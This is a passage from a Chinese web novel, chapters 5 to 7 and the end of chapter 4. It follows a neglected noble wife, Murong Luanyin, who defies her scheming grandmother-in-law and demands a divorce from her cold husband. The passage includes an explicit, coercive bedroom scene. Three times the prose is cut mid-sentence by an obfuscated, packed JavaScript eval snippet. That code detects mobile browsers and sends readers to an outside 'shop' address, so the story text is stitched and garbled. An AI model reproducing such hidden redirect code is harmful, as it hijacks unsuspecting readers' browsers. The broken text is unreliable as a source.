冬青连忙道:“姑娘记着吧,去年在后花园假山洞子里,奴婢碰见宋大福调戏一个小丫头。” “记得,那小丫头叫娟娟,你把她救下来了,还打了宋大福一顿。” 冬青猛点头,“对,就叫娟娟,娟娟是三房小厨房烧茶炉子的,消息是娟娟跟奴婢说的,她说表姑娘进了门,三房就传开了,是老夫人背着老公爷指派三老爷秘密去金陵接的,表姑娘嫁的那个姓赵的县令,死在任上了。” 慕容鸾音一下子坐起来,“你先别说,听我说,赵县令是因为任职的江宁县大雨不歇,水灾漫堤,在转移灾民时,遇上泥石流被埋里面死的,赵县令是因公殉职,可对?” “姑娘知道啦?” 慕容鸾音只觉一股凉气从脚底心直直冲击天亮盖,喃喃道:“梦见的。” 冬青蓦的瞪大眼睛,“啊?” 慕容鸾音摸摸冬青软乎乎的脖子,柔声道:“下去吧,今儿晚上不知道他几时能过来,或是被老夫人留下不过来了也未可知,我也累了,等一会儿他若不来,我就安心睡下。” 冬青欲言又止,但见慕容鸾音闭上了眼睛,放下床帘轻手轻脚出去了。 灯色昏昏,慕容鸾音睁开眼,望着床顶白纱帐上的山水墨色花纹,不由得心想,自己到底是怎么了,梦见的竟成真的了,难道是梦中梦? 想到此处,禁不住使劲拧了自己胳膊肉一下子。 疼,好疼,慕容鸾音赶紧撒开手,揉一揉,目光一转,瞥见床尾矮柜上放的月牙凭几,顿时呼吸一窒,脸色涨红,心里既想他来,又拒绝他来,既念着他,又……怕他。 十三岁之前的峥哥哥不是这样的。 慕容鸾音想着幼时被带着到处调皮捣蛋的旧事,禁不住就翘起了嘴角。 就在这时,白纱帘被从外面拨开了,露出了一张每次看见都能令她心脏怦然的脸来,即便他眉眼冷艳令她畏,即便他周身似凝结一层冰霜令她颤,她也想奓着胆子多看两眼。 因为、因为…… 当萧远峥从床尾拿下月牙凭几,慕容鸾音拥被坐起,忍着羞耻道:“峥哥哥,能不能换、换个姿势。” 萧远峥只一顿而已,就将月牙凭几压到刺绣松竹的天青色枕头上,冷目示意她趴好。 慕容鸾音面色绯红,连忙道:“我娘给了一张生子秘方,需敦伦之礼后,腰下垫一个枕头就、就会增加受孕的可能。” 慕容鸾音看着压在枕头上的月牙凭几,羞怒交加,鼓起勇气抬手推倒,“我不要这个。” “就这么想给我生孩子?” 灯光在床帘上映照出萧远峥高大的影子,他的影子完全罩住慕容鸾音娇小的影子,两身紧挨着,慕容鸾音闻到他身上淡淡的冷冽的梅花香气的酒味,一霎想到,他在福寿堂上,定是被老夫人安排着和洛淑仪喝酒了,心里涌上委屈和醋怒,眼睛一下就红了。 萧远峥看着她秋水般的杏眼里包了泪,欲落不落的可怜样子,拿起月牙凭几就往床下扔去。 “咚”的一声,吓的慕容鸾音浑身一颤。 她的身子被瞬息翻转,枕头被塞在了她腹下。 “不、不是这样……” 一只大手捂住她的嘴,萧远峥覆在她身后。 “生下我的孩子就能稳固你世子夫人的地位,方能照拂娘家,这都是姑祖母生前为你慕容氏谋算好的,你当真是听话。” 慕容鸾音被迫跪着,紧接着便似狂风骤雨。 她被捂着嘴,流下泪来,说不清是得了极致的快意,还是耻辱。他说的话,她更无法反驳,因为祖母死前,确实是这样谋算的。 约莫半个时辰后,她伏在枕头上,眼尾晕红,青丝缭乱,如被辣手摧折的花,靡丽不堪。而他从始至终,衣衫整齐,彼时,已背着她立在床下,抚平前襟的褶皱,而后,头也不回的离去。 就像以往一样,履行完他身为夫君的职责后就离去,从不留宿瑞雪堂。 慕容鸾音感受着腿心内侧液体流过的余温,恍然明白他总是用这个姿势的用意,是为了让他的东西自然的流出,如此她就不会受孕,他拒绝让她生下孩子。 那么,他想让谁给他生孩子? 慕容鸾音忽觉心痛如绞,立时不再往深处想去。 先这样吧,她累极了,睡觉! 翌日,慕容鸾音起晚了,看着铜镜里自己一双红肿的眼睛禁不住就生出破罐子破摔的想法来,今天不去福寿堂请安了! 碧荷用手帕包着刚刚剥好的鸡蛋急匆匆走到慕容鸾音跟前,“夫人,快敷一敷,红肿稍微好一点了,再用粉遮一遮,能糊弄过去的,奴婢们手脚麻利点,请安也来得及,不能不去,规矩摆在那里呢,老夫人对您无事还要找事,若是被她捉到这个光明正大惩罚您的把柄,她可不会手软,这会儿表姑娘又丧夫归来,她老人家不定心里憋着多少怨恨,急等着发泄到您身上呢。” 慕容鸾音当然知道,连忙仰起脸来由着碧荷拿熟鸡蛋在眼睛上滚动。 茯苓站在一旁干着急,忽的想到什么,环顾四周后立时沉下脸问,“夫人还没梳头,秋雁呢?赶紧去把她找来。” 冬葵冬青和秋雁睡一个屋,冬葵道:“秋雁昨日去了绛仙阁就没回来。” 冬青愤然道:“早知道她是这么个东西,当年我就不该帮她!” 茯苓接手滚鸡蛋的活,碧荷连忙拿起梳子替慕容鸾音梳头,“夫人,来不及了,秋雁梳头的时候奴婢常看在眼里,也学会了随云髻,让奴婢试试?” 慕容鸾音点头,“你梳吧。茯苓,你去把昨日誊抄好的中秋礼单折页找出来。” 茯苓答应一声连忙去了。 如此一通忙活之后,丫头们簇拥着慕容鸾音着急忙慌的往福寿堂赶。 彼时,福寿堂上,过来请安的儿媳妇、孙媳妇们已是到齐了,老夫人高坐上首,洛淑仪紧挨着老夫人坐在绣墩上。 左边第一把圈椅上坐着二夫人文氏,依次排下去坐着二爷萧远峰之妻孙香玉,四爷萧远岱之妻罗慧心;右边第一把圈椅上坐着三夫人陈氏,第二把圈椅上坐着三爷萧远嵘之妻龙姽婳。 满堂寂静,似都在等着什么。 这时丫头喜安从外头疾步而回,禀报道:“回老夫人,卯时三刻了。” “好。”老夫人布满皱纹的薄唇微微上斜,“咱们是诗礼簪缨之族,自有一套规矩体统,晨昏定省的时辰都是祖宗定下的,既有人明知故犯忤逆不遵,今日少不得就要请家法了。” “喜安,再去探明时辰,辰时初刻一到,不必来回我,即刻去祠堂把供奉在祖宗牌位前的戒尺拿来。” 喜安将将应下一声“是”,慕容鸾音小跑着冲进了福寿堂,喘息未平就两手捏着折页送到老夫人面前,“老夫人恕、恕罪,孙媳来晚了,只因昨夜誊抄好各房交上来的中秋礼单后,顺手一塞,今儿一早起来却忘了塞到哪里去了,翻找了许久才找到,这才误了时辰。” 老夫人蓦的沉下脸,洛淑仪连忙道:“外祖母,好在阿音妹妹赶在辰时初刻前出现了,若真误了时辰,外祖母还真舍得动手不成,传到外祖父耳朵里就不好了。” 老夫人一听顿时警醒过来,那老东西只是旧疾复发到郊外悬天观泡温泉去了,他不是死了,是她心急了。 随即劈手夺过慕容鸾音手里的折页,不过看了两眼就扔地上,“太过奢靡,重拟。” 二夫人文氏垂下头,轻捻腕上佛珠。 三夫人陈氏端起茶杯来浅啜。 慕容鸾音此刻只想赶紧逃离,便把折页捡起,恭顺应“是”。 洛淑仪上下打量慕容鸾音一番后,轻笑道:“三年不见,阿音妹妹竟也喜欢梅花了?” 三夫人察言观色,立时掩唇笑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14344498|152632||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道:“老祖宗,儿媳前儿回娘家吃喜酒,酒席上请了个说书的瞽目先生,说了个古时候东施效颦的典故,逗的满席人都笑了。” 老夫人打眼一瞧慕容鸾音的发式和穿戴,也笑了,“可不是东施效颦嘛。” 慕容鸾音昨夜又陷入梦魇,痛哭着醒来,此时头昏昏沉沉,可“东施效颦”四个字却似利箭一般,箭箭刺穿她的心,让她恍惚间分不清是现实还是噩梦降临。 龙姽婳瞥见慕容鸾音脸色惨白,僵在那里,蓦的张开自己绣了红梅踏雪图案的云锦帕子,冷笑道:“怎么,梅花花纹成了谁的专属不成,你喜欢了就不许别人喜欢?自古以来,多少文人墨客喜爱着梅花,专为梅花作诗作词,难道都是东施效颦?” 洛淑仪讶然,连忙笑道:“嵘嫂子别多心,我只是瞧着阿音妹妹身上这件杏白色喜鹊登白梅纹三裥裙很合我的眼缘。恍惚记得,以前的阿音妹妹裙衫上的花纹多是茶花牡丹一类耀目多彩的纹样,不曾想,三年不见,阿音妹妹的喜好全都变了?” 龙姽婳望着慕容鸾音与洛淑仪相似的发式与穿戴,蓦的撇开脸看向别处。 满堂众人,目光如刺。 慕容鸾音只觉得自己心口疼的快要死过去了,她急切的想逃离这里,当下羞愧道:“我仰慕洛表姐,觉得洛表姐的穿戴打扮出尘脱俗,就效仿了,是,我是东施效颦,渴望成为洛表姐。” 渴望成为被峥哥哥爱着的那个人。 顷刻间,满堂一寂,有面露惊讶的,有僵住的。 龙姽婳不忍见,闭上了眼。 老夫人怒道:“好个不要脸的东西,你竟就这么大咧咧的承认了,你给我滚出去!” 慕容鸾音等的就是这句话,当即落荒而逃。 等在外头的碧荷茯苓,隐约听见了,皆红了眼,见慕容鸾音逃出来,连忙上前搀扶。 碧荷当即就道:“快回瑞雪堂。” 可慕容鸾音只要一想到回瑞雪堂就要经过小花厅,此时此刻小花厅上一定已经挤满了等待回事的那些难缠的大娘们,她就头晕目眩。 “不、不,去后花园躲躲,你们也不要跟着我了,先去小花厅安抚那些人,我想一个人静一静,静一静就好了。” 话落,撇下丫头们就跑了,此时此境,她只想把自己藏起来。 一口气跑进后花园,慌不择路,见着一个假山洞子就一头钻了进去,躲进最深处蜷作一团才敢大口喘气,一霎哭了出来。 哭了一会儿,又怕哭声引来路过的丫头仆妇,若是被她们传扬出去,又成了一则笑话,随机赶忙把哭声憋回去,捂住嘴,无声落泪。 她只是想要峥哥哥的爱,仅此而已,竟就不知不觉让自己活成了笑话,她该怎么办,该怎么办?可她满心里还是控制不住的想着他,念着他。 ——阿音妹妹你这小脸粉嘟嘟的,真可爱,等你长大了我娶你吧。 ——好啊好啊。 ——峥哥哥,幸好你发现我了,要不然我真不知会被卖到什么地方去,从此再也回不了家,再也见不到你,峥哥哥是我的大英雄,我要嫁给峥哥哥! ——来来来,写在纸上,按上你的小手印,倘若你长大了把这话忘了,要嫁给别人时我就拿着这个去抢亲。 峥哥哥,我们之间的诺言,我刻骨铭心,你怎么就忘了呢?你怎么就变了呢? 忽的,假山外传来男人打哈欠的声音。 慕容鸾音赶忙捂紧嘴巴,屏息凝神,生怕被发现。 “四爷,枫红姑娘再是诱人,您也爱惜着身子些,若是被二老爷撞见,瞧出样儿来,又是一顿好骂。” “昨儿晚上不是枫红,枫红门上挂了红灯笼身子不方便,她娘把她妹妹柳绿推我身上了,这柳绿不及枫红千分之一,是个长脸,我瞧着不喜,只是闻了她们院里点的香,凑合着按在桌子上泄火,偏偏这个柳绿叫的也让我厌恶,我就拿抹布把嘴给堵上了,可不得劲就是不得劲,闻着这个柳绿的味儿都想吐,烦了一夜。” 主仆俩说着话走远了。 假山洞里的慕容鸾音却仿佛是死去了一回。 5. 第005章 杀鸡儆猴 小花厅上,管事娘子们久久不见慕容鸾音到场,渐渐吵嚷起来。 碧荷茯苓眼见着安抚不住,急的额上冒汗。 宋嬷嬷的大儿媳,宋吉家的,单管着福寿堂洒扫上的事儿,仗着宋嬷嬷的势,素日里为人便有些嚣张,这会儿就一把扯住碧荷的前襟,横着眼道:“当家的夫人,到点了不在这里坐着理事,钻老鼠洞里躲羞去了吧?!” 所谓好事不出门,坏事传千里。 今日早上福寿堂上发生的事儿,她们这些管事的仆妇知道的最快。 碧荷被揪扯着前襟,勒的脖子生疼,却不敢得罪了她,仍旧好声好气的道:“你撒手,有话慢慢说。” 冬青攥起拳头,她确信自己一拳头就能把这贼妇打的满地找牙,可她不能再给姑娘惹麻烦了,姑娘在这府里的处境已经是举步维艰。 “冬青,打她!” 冬青一愣,望向声音来处,便见慕容鸾音提着裙摆大步奔来。 “姑娘你说什么?” 慕容鸾音在挤满人的廊檐外站定,昂起头,坚定有力的道:“宋吉家的对我出言不逊,以卑辱尊,我让你打她,用你在武僧院所学的罗汉拳,给我打下她一颗牙来,打!” 冬青一瞬间红了眼睛,仿佛看见以前那个恣意飞扬的大小姐又回来了。 “是!” 她要打,要痛痛快快打这狗眼看人低的臭贼妇一顿,哪怕事后姑娘保不住她,她也不容许自己看着长大的姑娘受辱! 冬青当即上前解救下碧荷,举起拳头照着宋吉家的那张有恃无恐的脸就是一下子。 “啊——” 宋吉家的一声惨叫,把围拢着碧荷茯苓的管事娘子们叫清醒了,“哄”的一下子散开,让出了道路。 慕容鸾音步入花厅,坐在主位上,冷笑道:“我本想着,我在花厅理事,方便你们找我,却不想纵容的你们以为‘我等你们’成了理所当然,我未嫁进来之前,二夫人当家理事时,也是二夫人老老实实坐在这里等你们吗?想必不是,是有事时,你们追着二夫人跑。既是给你们脸不要脸,你们喜欢多走两步路,就依你们!今日,我心情不愉,不理事,滚。” 满府里都知道世子夫人不得世子的宠,哪里肯服顺,但旁边就在上演一出“杀鸡儆猴”,当极有势力的宋吉家的被打倒在地吐出两颗血牙来时,管事娘子们不敢不听话了,她们真是有眼不识泰山,世子夫人身边的大丫头冬青竟是个拳拳到肉的练家子,谁也不想成为第二只鸡,当下里作鸟兽散。 宋吉家的顾不得满地找牙,捂着呼呼淌血的嘴,撒丫子跑的比谁都快。 碧荷看向慕容鸾音,见她双眼红肿,脸色苍白,知道一定是躲在某处狠狠哭过了一场,一下子落下泪来,“奴婢们吃些委屈又有什么要紧,怕只怕姑娘为了奴婢们得罪了宋吉家的,宋嬷嬷不会善罢甘休。” 慕容鸾音起身往瑞雪堂走,边走边扯下头上白玉梅花式样的簪子,往地上一扔就道:“碧荷姐姐,是我错了,往后啊,我不会让你们受一点委屈。” 茯苓跟在后面捡起簪子,又见慕容鸾音扔下了白玉折枝梅花钿和鬓边花,禁不住道:“姑娘怎么都扔了?” 当慕容鸾音扯下头上最后两只压鬓的翠梅大钗,一头青丝瀑布一般垂散下来。 冬青似是预感到了,激动的握拳。 “我从来也不喜欢这些素淡的首饰,往后也不会再佩戴,扔了吧。” 慕容鸾音举步迈进瑞雪堂,便把身上的杏白色喜鹊登白梅纹大袖衫也脱了下来。 茯苓冬葵跟在后面捡拾,茯苓压着哭腔道:“这一套白玉头面也值好些银子呢,扔了可惜,姑娘若是再也不喜欢了,咱们就拿出去卖了,换回银子来再买喜欢的。” 慕容鸾音在梳妆台前坐定,拉开放着首饰的小抽屉,拿起一支海棠簪挽发,笑道:“茯苓姐姐说的在理,那就劳烦茯苓姐姐帮我把带梅花纹样的素淡首饰、裙衫都挑拣出来拿出去卖了,所得银两你们四个分,是为补偿你们随我嫁进这高门大院后受的那些委屈。” 四个大丫头此时都已明白了,个个红了眼睛,连道“不委屈”。 慕容鸾音又笑着吩咐冬青去找一把斧头来。 冬青不问缘由,即刻而去,迅疾而回。 慕容鸾音将放置在床尾柜上的月牙凭几拿出来摆在院子里,举起斧头就劈,奈何这凭几乃是乌木所制十分坚硬,连劈数下只得几道砍痕,她的手腕已经开始颤抖,便把斧头交给冬青,让她劈。 冬青力大,只劈了三下就将凭几一分为二。 “拿去厨房做柴火,物尽其用。” 冬青咧嘴笑,干脆应道:“是!” 这时双喜来了,面带忧色,慕容鸾音瞧她一眼就笑道:“双喜姐姐莫替我担忧,我知道老夫人定是在福寿堂大发雷霆了,你稍等一会儿,我梳洗打扮一番就去分辨。” 双喜顿时愣住,冬青笑道:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14344499|152632||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我慕容家的大小姐回来喽,你是个好的,我拿果子给你吃。” 卧房里头,慕容鸾音净面后坐在妆镜台前自己动手画了个慵懒妆,碧荷早已手痒许久,拿起梳子就道:“姑娘,咱们梳一个多鬟髻,还是飞天髻,又或是流苏髻?” 慕容鸾音仰着脸,由着茯苓在她眉心勾勒出一朵三瓣红莲,笑道:“我要流苏髻,系上绛红飘带。” “和奴婢想到一块去了。”碧荷说笑着就握起慕容鸾音的一把头发梳理起来。 茯苓欢喜的不行,捧出专一存放耳坠子的剔红玫瑰八宝盒,捡起一副金荔枝耳坠就往慕容鸾音耳朵上比划,“姑娘姑娘,奴婢记着,您梳流苏髻时最喜欢佩戴这副耳坠子,奴婢这就给您戴上?” 慕容鸾音点头,又笑道:“冬葵,你也别闲着,去把我的博山香炉搬出来,点上我最喜欢的香。” 冬葵连忙抢答道:“奴婢也记的牢牢的,姑娘最喜欢自己做的山茶香球,奴婢这就去后楼上找出来。” “找几个粗使丫头,把我那些制香的工具也都找出来。”慕容鸾音一顿,“还有,把那只雕刻着药兽的铜提手大板箱也搬来。” “是。” 冬葵答应一声,连忙去了。 碧荷想了想,还是提醒道:“世子爷不喜熏香,姑娘真的想好了?” “从今往后,我管他喜欢什么,我只知道我自己喜欢什么最重要。” 妆镜台上,中间是莲花座,座上摆着一面莲花镜,两边是两个三屉柜,慕容鸾音拉开左边最下层的抽屉,拿出一只粉色琉璃净瓶,打开塞子放在鼻下闻了闻,满足的喟叹,随即在手掌心里滴了两滴,抹在手腕内侧和颈侧。 这时窗外传来喜平故意扬高的喝骂声,“你发昏了,老夫人叫你来传话,你倒大模大样坐在这里吃起果子来!” 慕容鸾音一点也不急,反而推开窗户,对外头的喜平道:“我让她坐在那里吃果子的,你骂她做什么,直接进来骂我。” 喜平板着脸道:“世子夫人说笑了,还请世子夫人即刻随奴婢去福寿堂,老夫人震怒,说,世子夫人若再不赶快过去,她老人家就亲自过来问罪。” 彼时,慕容鸾音张开双臂,任由碧荷茯苓帮她穿上绛红色百蝶穿花大袖衫,挂上香囊玉环,笑道:“她老人家老胳膊老腿的不便利,还是我去找她吧。” 碧荷等深知福寿堂上将有一场硬仗要打,生怕慕容鸾音吃亏,不约而同都跟了去。 6. 第006章 一脚踹开 罗氏端坐在高榻上,身后跪着大丫头喜乐,正拿着美人锤轻轻为她敲打后背,彼时她老脸耷拉着,开口就带上了怒气,“打狗还得看主人,宋吉家的纵是有错,你也该先禀明了我!” 慕容鸾音两手交叠拢在袖子里,垂眉低眼望着脚下踩着的猩红色地毯,见五福捧寿的团花花纹上撒了几粒白芝麻,心想,早晨这老夫人定是吃了饴糖白芝麻饼,以往她总是顶着挨骂也劝着不让吃,从今往后啊,你就吃吧,纵然是把轻微的消渴症吃成绝症,又与我有什么相干。 “你若是个自庄自重的,下头人谁敢不尊重你,可见还是你自己做下的孽,怨不得旁人说到你脸上!”罗氏歇一口气,又接着叱责道:“自从你嫁进我们家,三年了,可曾生下一儿半女?我可是记得,当初老公爷乾纲独断为峥儿聘娶你,其中一条就是说你,八字旺夫,身子骨结识,好生养,三年了,你倒是下个蛋呐!” 忽的,窗外传来一阵哄笑。 慕容鸾音听见了,心里更知道,彼时,福寿堂上下服侍的人,有资格在屋里伺候的就侍立在左右,没有资格进屋的就都聚在外头,或是幸灾乐祸,或是窃窃私语,或是竖直耳朵细听,生怕漏掉一字一句。 以前她的心被痴念蒙蔽,还天真的以为是老夫人年纪大了管束不力,现在她却恍然明白了,是老夫人故意为之,她就是故意让下人们躲在外头看她的笑话的,为的是消减她在府里的威信,老公爷做主让她主持中馈又如何,只要下人们不尊重她,不听她的,她就有名无实。 老夫人训斥了半响儿,瞥见慕容鸾音脸上竟不似从前那般露出羞臊忍耻的表情,心里觉得奇怪,又觉一拳头打在棉花上似的,浑身不舒坦,陡然动了真怒,抓起几上高足杯照着慕容鸾音的面门就砸了过去。 “说话,你哑巴了?!” 慕容鸾音脚步轻挪,轻而易举的躲了过去。 老夫人更怒了,呼哧带喘。 “你敢躲?反了天了!” 此时此刻的慕容鸾音一点也不惧,甚至生不出一点愤怒来,只觉得可笑,“老夫人息怒吧,往后不必如此了,我知道您老人家心里的所思所想,现如今洛表姐丧夫归来,无非是又动了心思,想逼迫我退位让贤,我……” 被一霎揭穿了心思,老夫人的老脸顿时通红,“来人,来人,给我堵住她的嘴!” 洛淑仪从碧纱橱后疾步而出,哭道:“阿音妹妹何必攀扯上我,用心如此歹毒,若是你这世子夫人容不下我,我走就是。” 老夫人怒不可遏,站起来指着慕容鸾音就骂,“贼可恶的小贱人,我还没死,你休想欺负淑仪,是你占了淑仪的位置,该滚的是你,没教养的东西,滚回你娘家去!” 慕容鸾音悠悠笑道:“让我回娘家,可以,只是不年不节的回娘家总得有个说法,巧了,今日世子爷旬休在家,不若我这就遵从老夫人您的命令,去静园问世子爷要一张和离书?” 老夫人眼睛一眯,上下打量慕容鸾音一番,冷笑道:“你去,你倘若进得去,你指使丫头冬青打宋吉家的这事儿就此做罢,至于索要和离书,你虚张声势吓唬谁呢,你合该给老公爷造个长生牌位,早晚三跪九叩才好。” 慕容鸾音亦在心中冷笑,正愁没个光明正大的借口闯静园呢。 “我自幼得舅外祖的疼爱,从来都是衷心的祈盼他老人家长命百岁,您老人家保养自身才好。” 话音一落,福身一礼,甩袖而去。 “你!” 洛淑仪忙抬起头来,轻扯住老夫人的袖子,不赞同的道:“外祖母怎么让她去静园?” 老夫人屏退左右,露出一副胸有成竹的表情,道:“我故意激她去的。告诉你一个好笑的事儿,峥儿每个月除了初一十五去她房里,其他时候从不踏足瑞雪堂,更不与她共寝到天明,可见峥儿心里何其不待见她,偏让她去,惹恼了峥儿,让静园的老虎一口把她吃了才好呢。” 洛淑仪虽已是听秋雁说过了,但只要一想到峥表哥是为了她才故意给慕容鸾音难堪的,她就情不自禁的露出浅笑来。 老夫人见她笑了,自己也笑了,慈爱的摸摸她的头,可是一想到那个老东西的棒打鸳鸯就又恨的咬牙,“峥儿是打从骨子里怕你外祖父。自从你大舅舅死后,我总觉得你外祖父看起来好好的,可他里头已经疯了,我都不敢想峥儿是怎么在他手里活下来的,有一回我偷着去瞧峥儿,亲眼见着那老东西把峥儿和大老虎关在一个笼子里,老东西就坐在轮椅上对峥儿说,何时能打死老虎何时把他放出来,那老虎张着血盆大口一下子就把峥儿扑倒了。” 想到那年看到的血腥情景,老夫人仍是怕的浑身发抖,洛淑仪连忙握住她的手,无声安抚。 “那年峥儿才十四呀,才经历了丧父丧母之痛,骨瘦伶仃。”老夫人落泪,颤着嘴唇接着道:“当时我被吓晕了过去,等我再醒来,那老东西就警告我,不许我再去看峥儿,更不许我管峥儿的事儿,我本心里是想救峥儿的,奈何那时我娘家败落无人了,身后没个撑腰的,我是真怕被休回家去。” 洛淑仪拿出帕子来为老夫人拭泪,哽咽道:“外祖父是严苛了些,但也是无奈之举,为家族大计,岂可后继无人,峥表哥身为嫡长孙,有些苦痛除了他,其他人还不配吃。不经一番寒彻骨,怎得梅花扑鼻香,峥表哥现如今年纪轻轻就位列九卿,简在帝心,就是他最好的回报。” “还是你懂他。”老夫人擦干净眼泪,低声道:“扯远了,外祖母是想告诉你,峥儿太听你外祖父的话了,但峥儿有一条好处,他是个极有担当的孩子。这两夜我睡不着觉,思来想去,就怕那老东西回来还会狠心把你远嫁,得趁他回来之前,生米煮成熟饭。” 洛淑仪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14344500|152632||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 先是一惧,随即羞红脸,“我听不懂您的意思。” 老夫人摸着洛淑仪滚热的脸,笑道:“这男人啊,面对着喜爱的女子,你含羞带怯的往他怀里一倒,我就不信他真能忍得住。先做成夫妻之实,后面咱们再细细筹谋。” 洛淑仪脸上羞红的颜色褪去,低下头抠手心。那慕容鸾音,不过是个末等医官之女,却轻而易举嫁进国公府,成了世子夫人,夺走属于她的一切,而她一个侯门嫡女,却要委屈自己与人偷情,真要走这一步吗? 可她被迫嫁过一回了,随着赵流芳赴任江宁,只要一想到在江宁县过的那段日子,她就想到泥泞不堪的道路,仿佛又看见那里的庶民流氓随意在街边屙屎屙尿,仿佛又闻到了粪臭味,又见到了绿头苍蝇。 “你不愿意?” 洛淑仪压下恶心感,连忙摇头,眼含热泪一把抱住老夫人的腰,“淑仪再也不想离开您了。” “好,好孩子。”老夫人轻抚洛淑仪的背脊,目露狠厉之色,“三年前外祖母没能护住你的好姻缘,三年后的今天,那老东西已是到了离不开轮椅的地步,而峥儿却到了壮盛之年,掌握了权柄,咱们一齐发力,就不信扳不倒他,只要老东西倒下了,慕容鸾音不足为虑。” · 瑞雪堂与静园之间只隔着一条蜿蜒的爬山廊,彼时慕容鸾音已经到了半山腰处,冬青为开路先锋,探明了今日守在静园门口的是赵荆就急忙跑回来禀报。 慕容鸾音一听是赵荆就笑了,“是赵荆就好,此人有两个弱点,一是馋嘴爱吃,一是畏惧女色。你们听好,一会儿到了门口,你们就手拉手把他围起来,我就去闯门。” 冬青冬葵乖巧应“是”。 茯苓窘然瞪大眼。 碧荷忧虑重重。 慕容鸾音没管她们,提裙疾步向前,到门口时果然瞧见那赵荆正拿着一个炸鹌鹑在啃,一看见她们主仆来到就从石榻上跳将起来,“怎么又来了,还让不让人好生吃东西了。” 慕容鸾音今日穿的是齐胸襦裙,当下不着痕迹的往下扯了一点,挺起胸,步步逼向赵荆,赵荆脸色大变,嘴里的鹌鹑肉一霎掉了出来,见鬼似的一下子躲到门旁的石灯后头,捂着眼大喝,“世子夫人请自重!” 碧荷瞧见慕容鸾音的动作,眼睛瞪大,连忙一手拉起茯苓,一手拉住冬青,又叫上冬葵,四个人手拉手把赵荆和石灯一块围了起来。 慕容鸾音见状,抓住机会就奔上前去,一脚踹在门上。 “嘭”的一声,黑漆流云门应声而开,映入眼帘的是一片竹林。 慕容鸾音望一眼自己的脚,又望一眼竹林,有些恍惚,梦境里这扇叫不开的门就这么被她一脚踹开了? 这时,从竹林中传来虎啸声,慕容鸾音一霎绷紧心弦,回头望一眼抱着石灯僵成木头一般的赵荆,一咬牙冲了进去。 7. 第007章 遇虎 竹林中间有一条由乌木搭建而成的廊道,虎啸声越紧,慕容鸾音在上面跑的越快,发出“咚咚”的空灵声,似是踩在某种不知名乐器的音阶上。 可此时的慕容鸾音吓都要吓死了,一点也听不出空灵之声的美妙来。 廊道尽头是一座轩堂,飞檐翘角,铜铃寂寂。 慕容鸾音记得这里,幼时和他在这里玩过捉迷藏,原本的名字叫做凤吟轩,而今那块牌匾竟被摘了去,不知何时又在周围建了一圈高墙,重建了一道垂花门,门前立下一块石碑,刻下了“静园禁地”四个血红大字。 不知何时,她记忆中飒沓如流星,炽热若骄阳的峥哥哥也彻底“静”了下来。 凤吟轩前确实有一株白梅。 慕容鸾音眨去眼中泪雾,走到白梅树下,望向明月窗,便见萧远峥正坐在窗前,乌金流云冠束发,穿着鸦青鹤氅,一派清贵文雅气韵,正伏案写画着什么,剑眉凛冽,眼眸专注,仍旧是她爱着的模样,可是,一想到他对她隐秘的羞辱,此时此境,她对他只剩下愤恨。 慕容鸾音深吸一口气,捏紧裙边香囊,微抬下巴,正要开口,就见萧远峥头也不抬,就用不咸不淡的口吻道:“你因何事硬闯静园?” 慕容鸾音僵了一下,随即故作讥嘲之语,“啊,原来你有耳报神,你这耳报神的神通可大吗?若是大到覆盖福寿堂,那我就不废话了,萧远峥,给我一纸和离书,我即刻收拾嫁妆大归。” 萧远峥捏着笔管的手一顿,随即搁笔,从一摞卷宗中抽出一份来展开,淡淡道:“原因。” “你竟还有脸问我原因?!”慕容鸾音气炸了,噔噔噔跑进去,跑到他大书案前,“你的险恶用心我已识破了,今天我就和你说清楚,我不管我祖母是怎么促成的我们之间的婚事,我只知道,我愿意嫁给你,是因为、是因为……” 慕容鸾音痛恨自己的不争气,抬手抹去眼泪,抬起下巴道:“算了。总之,我与你和离之意已决,我受够了你祖母的刁难,现如今你心念之人也回来了,我诚心祝愿你们有情人终成眷属。这会儿,你手边有笔也有纸,写吧,理由都是现成的,三年无子和离再娶也是应有之义,不损你在外头青天大老爷的美名。” 萧远峥抬眸看她,蓦然一顿,些许恍惚,她本就肤白如玉,穿绛红衫子最相称。 也仅仅一眼罢了,就又垂眸翻阅卷宗,“萧氏从不出妇,何况你是宗妇,生是萧家人,死也是萧氏鬼。临近中秋,你需要处理的事务也繁多,忙去吧。” 慕容鸾音真真气笑了,竟连她提出和离,他也依旧是这样一副冷静自持吃定她的模样,可见在他心里自己当真轻如鸿毛。 若是以前,她会因惧怕被他厌弃而听话离开,也会因为不舍得给他增添麻烦而忍辱负重,但是现在,她气的心口疼,只想打破他脸上那张波澜不惊的面具! 